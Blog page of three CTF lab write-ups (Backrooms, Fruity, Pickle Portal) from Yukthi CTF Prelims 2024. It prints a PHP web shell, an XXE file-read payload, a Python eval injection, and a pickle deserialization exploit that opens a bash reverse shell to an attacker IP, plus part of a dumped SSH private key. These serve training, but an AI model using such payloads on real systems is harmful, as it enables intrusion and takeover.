prasaanth2k

Backrooms-Yukthi CTF Prelims 2024: The Backrooms Challenge Uncovered

Introduction The Backrooms challenge in the Selfmade Ninja Labs cloud lab training for aspiring students during the Dsocity-Yukthi CTF Prelims 2024 offers an immersive exploration of cybersecurity. Participants tackle critical concepts such as web security, scripting vulnerabilities, and privilege escalation. Through tasks ranging from PHP payload manipulation to Python script analysis, the challenge refines tactical thinking and technical expertise for real-world scenarios. Getting Started with the Backrooms Challenge To participate in the Backrooms challenge, follow these steps: Create an Account Visit Selfmade Ninja Labs and sign in (click here). If you don’t already have an account, create one by (click here) Activate WireGround Once signed in, activate WireGround to set up your lab environment. Open the Challenge Dashboard Go to Selfmade Ninja Labs, and click Machine Labs on the dashboard. Navigate to the left-side navbar, click the dropdown under My Lab, and select Challenge Lab. Locate the Backrooms Challenge Browse the list of challenges on the page. Search for Backrooms and click the corresponding challenge button. Start the Mission Click the Replay the Lab button at the top right of the page. Click Start Mission to begin. Note your IP address for this lab environment. Use VS Code to set up port forwarding before starting the challenge. Key Takeaways from the Backrooms Challenge File Upload Security PHP Payload Crafting Python Script Vulnerability Analysis Markdown Exploitation Root Privilege Escalation Cybersecurity Strategy Enumuration Nmap To further our investigation, we employed Nmap, a powerful network scanning tool, to discover any additional services that might be running on the target machine. After deploying the challenge environment, the IP address was provided, but specific service ports were not immediately apparent. To uncover all open ports on the server, we executed the following Nmap command: nmap -p- ip_address prasaanth2k@essentials:~$ nmap -p- 10.11.2.17 Starting Nmap 7.93 ( https://nmap.org ) at 2024-04-13 08:10 UTC Nmap scan report for e27ebd31ed77421435ee36c5d6235a84.labs_frontend (10.11.2.17) Host is up (0.00010s latency). Not shown: 65533 closed tcp ports (conn-refused) PORT STATE SERVICE 80/tcp open http 86/tcp open mfcobol Nmap done: 1 IP address (1 host up) scanned in 1.43 seconds Upon reviewing the Nmap scan results, it became evident that port 80 was open, while port 86 was running. Such findings often indicate non-standard configurations or intentionally obscured services, possibly as part of the challenge setup. For the initial mission, participants encounter a PHP endpoint embedded within the page, offering the functionality of file upload. While this feature allows users to upload files, attempts with the .php extension are thwarted. However, a clever workaround emerges: utilizing the .php2 extension bypasses this restriction, enabling successful uploads. Thus, armed with this insight, we seamlessly injected the meticulously crafted payload below. <?php system($_GET['cmd']); ?> With this exploit payload successfully uploaded, we gain the ability to execute commands. Leveraging this newfound capability, we initiate the process to establish a reverse shell. By executing specific commands within the uploaded payload, we orchestrate the reverse shell mechanism, effectively enabling us to establish a connection back to our system. This reverse shell serves as a conduit, granting us remote access and control over the compromised system, thereby facilitating further exploration and exploitation of its resources. prasaanth2k@essentials:~$ nc -lvnp 4326 Listening on 0.0.0.0 4326 Connection received on 10.13.1.243 54618 Linux entiti.selfmade.ninja 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux 08:50:24 up 3 days, 5:36, 0 users, load average: 0.68, 0.96, 1.31 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=1000(backrooms) gid=1000(backrooms) groups=1000(backrooms),27(sudo) TERM environment variable not set. backrooms@entiti:/$ export TERM=xterm export TERM=xterm backrooms@entiti:/$ export SHELL=bash export SHELL=bash backrooms@entiti:/$ backrooms@entiti:/$ cd ~ cd ~ backrooms@entiti:/home/backrooms$ ls ls backrooms_escape_map.txt backrooms@entiti:/home/backrooms$ cat b cat backrooms_escape_map.txt c3d66019b22a7ee81f2afbe6836e60ae.ninja backrooms@entiti:/home/backrooms$ Foothold and Privilege Escalation Upon obtaining the reverse shell, our enumeration efforts continue, leading us to inspect the sudoers file using the sudo -l command. Within this file, located at /var/www/html, we uncover a Python script. This script is configured to run with elevated privileges, as indicated by its presence in the sudoers file. Examining the contents of this Python script reveals its functionality and potential vulnerabilities, providing us with valuable insights into its operations and the avenues for exploitation it may present. backrooms@entiti:/home/backrooms$ sudo -l sudo -l Matching Defaults entries for backrooms on entiti: env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin User backrooms may run the following commands on entiti: (ALL : ALL) ALL (ALL) NOPASSWD: /usr/bin/python3 /usr/local/bin/escape_ticket.py def load_file(loc): if loc.endswith(".md"): return open(loc, &#039;r&#039;) else: print("Wrong file type.") exit() def evaluate(ticketFile): code_line = None for i,x in enumerate(ticketFile.readlines()): if i == 0: if not x.startswith("# backrooms"): return False continue if i == 1: if not x.startswith("## Ticket to me"): return False print(f"Destination: {&#039; &#039;.join(x.strip().split(&#039; &#039;)[3:])}") continue if x.startswith("__Ticket Code:__"): code_line = i+1 continue if code_line and i == code_line: if not x.startswith("**"): return False ticketCode = x.replace("**", "").split("+")[0] if int(ticketCode) % 7 == 4: validationNumber = eval(x.replace("**", "")) if validationNumber > 100: return True else: return False return False def main(): fileName = input("Give me the serect key path.n") ticket = load_file(fileName) result = evaluate(ticket) if (result): print("Valid ticket.") else: print("Invalid ticket.") ticket.close main() this python script prompts for the file path of a Markdown (.md) file. Our objective is to fulfill all the conditions outlined within the script. Once these conditions are met, the script will execute and spawn a shell, granting us escalated privileges. To achieve this, we meticulously analyze the script’s requirements and constraints, ensuring that our input satisfies each criterion. Upon successful fulfillment of these conditions, the script’s logic will be triggered, allowing us to exploit any potential vulnerabilities and gain access to the system via the spawned shell Here is the exploit mardown file now we can store this file and give this path to the script # backrooms ## Ticket to me: John Doe __Ticket Code:__ **4+__import__(&#039;os&#039;).system(&#039;/bin/bash&#039;)** $ whoami whoami backrooms $ sudo /usr/bin/python3 /usr/local/bin/escape_ticket.py sudo /usr/bin/python3 /usr/local/bin/escape_ticket.py Give me the serect key path. /var/www/html/exploit.md /var/www/html/exploit.md Destination: me # whoami whoami root # ls ls exploit.md helpthem.php sample.html style.css exploit.php2 index.html script.js upload.php # cd /root cd /root #

Backrooms-Yukthi CTF Prelims 2024: The Backrooms Challenge Uncovered Read More »

Fruity Challenge Yukthi CTF

Fruity – Yukthi CTF Prelims 2024

Introduction In the fast-evolving world of cybersecurity, mastering vulnerabilities such as XXE (XML External Entity) and SUID (Set User ID) binary exploitation is crucial for IT professionals. This article explores the Fruity Challenge from the Yukthi CTF Prelims 2024, an excellent opportunity for aspiring IT students to enhance their skills. Participants can learn valuable exploitation techniques and security practices through Selfmade Ninja Lab cloud lab training for aspiring students, which offers hands-on experiences in tackling real-world cybersecurity scenarios. Getting Started with Selfmade Ninja Labs Visit Selfmade Ninja Labs and create an account (Click here) If you don’t have an account, register via Selfmade Ninja Git (Click here) Activate WireGuard on your system. Go back to Selfmade Ninja Labs and navigate to the Machine Labs section on the dashboard. On the left-side navbar, click My Lab > Challenge Lab to access the challenge page. Browse the available challenges and search for “Fruity.” Click the Challenge button to open the Fruity Challenge page. In the top-right corner, click Deploy Lab, then select Start Mission. Copy the provided IP address and use VS Code’s remote SSH extension to forward the port, enabling you to start the challenge. Key Learnings from Selfmade Ninja Lab Cloud Lab Training Through Selfmade Ninja Lab cloud lab training for aspiring students, you’ll master: XXE Exploitation: Learn to manipulate XML entities to access sensitive files. Privilege Escalation: Exploit SUID binaries to gain higher-level privileges. Reconnaissance Tactics: Discover how to gather vital information using tools like Nmap. Exploitation Strategies: Enhance your approach to uncovering vulnerabilities. Environment Variable Manipulation: Understand the significance of altering PATH variables. Penetration Testing Techniques: Develop comprehensive testing skills. Cyber Threat Awareness: Stay ahead by understanding the latest cybersecurity trends. Enumeration Practices: Identify critical information within compromised systems. 1.Initial Reconnaissance with Nmap: Nmap reveals three open ports on the server, laying the groundwork for further investigation.with the nmap -p- command XXE Exploitation The /order endpoint accepts user input, encoding it into base64 encoded XML format before sending it to the /tracker endpoint. Crafting a malicious XML entity allows control over reflected data, leading to sensitive file access. Step 1: Craft a malicious XML payload: <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <userdata> <name>&xxe;</name> <mail>test</mail> <subject>test</subject> <comments>test</comments> </userdata> Identify sensitive file (/etc/passwd) revealing a user named "fruit". SSH Key Extraction: Knowing SSH private keys are often stored at /home/$USER/.ssh/id_rsa, target the SSH private key located at /home/fruit/.ssh/id_rsa. Exploit SSH key possession to gain remote server access. Privilege Escalation SUID Binary Exploitation: The log_reader binary, with suid permission, executes as root. Upon execution, it displays Apache log files, hinting at its functionality. Reveal potential command execution by running strings against the binary. Manipulate the PATH variable to control the tail command execution. Create a shell script named tail containing /bin/bash. Trigger the custom tail script to gain an interactive shell with root privileges. There is one binary file called log_reader unser fruit directory. It is a suid binary which is owned by root, which means it can execute functions as root user. Directly running the binary shows us some apache logs file. And running strings against the binary give us an hint about what command it might be running on execution. If the tail is invoked with it’s absolute path (ie: /usr/bin/tail) it would’ve been not exploitable. But because it is suid bit, we can control the PATH variable and the process will have no other choice then using our PATH. We can create a shell script with /bin/bash as its content and name it tail. Placing it under fruit’s home directory and prepending the home dir path to the PATH environmental variable will fool the binary into looking for tail binary in our Home directory first. Conclusion: Mastering Cybersecurity Exploitation The skills learned in challenges like the Fruity CTF Prelims 2024 are invaluable for anyone pursuing a career in cybersecurity. By mastering XXE exploitation and SUID binary privilege escalation, aspiring IT students can better understand the importance of reconnaissance, vulnerability identification, and effective exploitation strategies. With SNA Lab cloud lab training, students can gain hands-on experience in these areas, providing them with the tools needed to protect systems and stay ahead in the dynamic cybersecurity landscape.

Fruity – Yukthi CTF Prelims 2024 Read More »

Pickle Portal

Exploring the Pickle Portal Challenge: Python and Linux Skills Enhancement with Selfmade Ninja Lab

Introduction The Pickle Portal Challenge offers a deep dive into essential programming and system management skills, emphasizing Python’s Pickle serialization and deserialization and Linux’s file descriptor management. Created as a practical learning experience, it invites participants to enhance their understanding of programming vulnerabilities, cybersecurity risks, and system-level problem-solving. This hands-on challenge is ideal for both beginners and seasoned tech enthusiasts interested in Selfmade Ninja Lab cloud lab training for aspiring IT students. How to Start the Challenge To begin the Pickle Portal Challenge, follow these steps: Visit Selfmade Ninja Labs and sign in to your account. If you don’t have an account, create one by clicking here. Activate your wireground by following the provided instructions. After logging in, go to Selfmade Ninja Labs again and click on Machine Labs to open your dashboard. In the left side navbar, click on the My Lab dropdown, and select Challenge Lab. You will see a list of challenges. Search for Send the Pickle Portal and click the challenge button to start. In the top right corner, click Deploy the Lab, then click on Start Mission. Once the lab is deployed, you’ll receive an IP address. Use this IP address to forward the port in Visual Studio Code (VSCode) and you can begin the challenge. These steps guide you through the initial setup to begin exploring the Pickle Portal Challenge in the Selfmade Ninja Lab cloud lab What You’ll Learn Pickle deserialization File Descriptor Manipulation Reverse Shell Creation Cryptography and Encoding Linux Privilege Escalation Enumuration As part of the initial step in tackling the "Pickle Portal Challenge", we began by examining the source code provided in the brief. This was essential for understanding the underlying functionalities and potential vulnerabilities within the application. Nmap To further our investigation, we employed Nmap, a powerful network scanning tool, to discover any additional services that might be running on the target machine. After deploying the challenge environment, the IP address was provided, but specific service ports were not immediately apparent. To uncover all open ports on the server, we executed the following Nmap command: nmap -p- ip_address prasaanth2k@essentials:~$ nmap -p- 10.11.1.254 Starting Nmap 7.93 ( https://nmap.org ) at 2024-04-12 05:25 UTC Nmap scan report for bd209035ebd5c330f2c3a72a7cdac1d6.labs_frontend (10.11.1.254) Host is up (0.00010s latency). Not shown: 65534 closed tcp ports (conn-refused) PORT STATE SERVICE 94/tcp open objcall Nmap done: 1 IP address (1 host up) scanned in 1.47 seconds Upon reviewing the results from the Nmap scan, it became clear that there was no direct indication of a service running on a port conventionally associated with ‘objcall’. This absence suggests that there might be a hidden or less obvious service operating on this port. Such findings often point to non-standard configurations or services that may have been intentionally obscured, potentially as a part of the challenge setup. Following your successful access to the service on the previously hidden port, your focus shifted to understanding how the service interacts with input data, particularly in the context suggested by the challenge name—serialization and deserialization using Python’s Pickle module. Observations from Interaction When you input test data text into the service, observing how it handles this input provides valuable insights into its underlying functionality. Given the context of Python’s Pickle serialization, there are a few key aspects to consider: Serialization: The service might be serializing the input data into a binary or text-based format that can be stored or transmitted. Look for signs that the data is being converted into a non-human-readable format or encoded in some way. Deserialization: Conversely, the service might deserialize provided data, which would involve taking previously serialized data and reconstructing it back to its original form or into an executable Python object. Input data Serialize Deserilize Source Code Review The Python Flask code utilizes the pickle module for serialization and deserialization of user input, without proper input sanitization. This opens a potential vector for executing arbitrary Python code on the server. Let’s dissect the key parts of the source: from flask import Flask, request, render_template import pickle import sys sys.path.append('/home/morty/app') import base64 application = app = Flask(__name__) # Secret portal gun object class PortalGun: def __reduce__(self): return (exec, ("<missed source>",)) @app.route('/') def index(): return render_template('index.html') @app.route('/serialize', methods=['POST']) def serialize(): data = request.form.get('data') try: serialized_data = base64.b64encode(pickle.dumps(data)).decode('utf-8') return render_template('serialized.html',serializeddata=serialized_data) except Exception as e: return str(e), 400 @app.route('/deserialize', methods=['POST']) def deserialize(): data = request.form.get('data') try: deserialized_data = pickle.loads(base64.b64decode(data)) result = str(deserialized_data) return render_template('deserialize.html',deserializeddata=deserialized_data) except Exception as e: return str(e), 400 if __name__ == '__main__': app.run(host='0.0.0.0', port=94) The critical vulnerability here is the lack of validation on the data being deserialized. Utilizing the exec<code> function within the </code>__reduce__<code> method of the </code>PortalGun class allows for arbitrary command execution when deserializing data. Exploit Development import pickle, base64 class PortalGun: def __reduce__(self): import subprocess return (exec, ('''import os;os.popen("bash -c '/bin/bash -i >& /dev/tcp/10.11.1.200/5000 0>&1'").read()''',)) p = pickle.dumps(PortalGun()) dat = base64.b64encode(p).decode('ASCII') print(dat) This exploit code serializes the PortalGun object and encodes it in base64. This string can be used as input to the vulnerable deserialize endpoint to execute a reverse shell command. Exploitation Steps Payload Delivery: Submit the base64-encoded serialized data to the /deserialize endpoint of the application. Reverse Shell: Listen on the specified port (5000) to catch the reverse shell initiated by the deserialization of the malicious payload. prasaanth2k@essentials:~$ python3 exploit.py gASVZQAAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlIxJaW1wb3J0IG9zOyBvcy5zeXN0ZW0oJ2Jhc2ggLWMgInNoIC1pID4mIC9kZXYvdGNwLzEwLjEzLjAuMTMzLzQzMjYgMD4mMSInKZSFlFKULg== prasaanth2k@essentials:~$ nc -lvnp 4326 Listening on 0.0.0.0 4326 Connection received on 10.13.1.243 37248 sh: 0: can't access tty; job control turned off $ export TERM=xterm $ export SHELL=bash $ bash -i bash: cannot set terminal process group (44): Inappropriate ioctl for device bash: no job control in this shell morty@morty:~$ ls ls app memory_destroyer.c spicypickle.txt morty@morty:~$ cat spicypickle.txt cat spicypickle.txt 6347960100bfa2f79e270eb53872e51d.ninja morty@morty:~$ Foothold and Privilege Escalation Upon obtaining the reverse shell, further enumeration revealed an SSH private key and other sensitive information. Using the retrieved SSH key, secure access to the server was established using: morty@morty:~$ cd .ssh cd .ssh morty@morty:~/.ssh$ ls ls authorized_keys id_ecdsa id_ecdsa.pub morty@morty:~/.ssh$ cat id_ecdsa cat id_ecdsa —–BEGIN OPENSSH PRIVATE KEY—– b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS 1zaGEyLW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQQVoKCfmlW32m5VhNEaEwYfCQ/Sa4Kg Vr7bCjIjuR6gbpBlXIgwMoiKGsDZyIXQoUuikWrB4O+tJWoIXy39V9gtAAAAuIVTgVmFU4 FZAAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBWgoJ+aVbfablWE 0RoTBh8JD9JrgqBWvtsKMiO5HqBukGVciDAyiIoawNnIhdChS6KRasHg760laghfLf1X2C

Exploring the Pickle Portal Challenge: Python and Linux Skills Enhancement with Selfmade Ninja Lab Read More »

Scroll to Top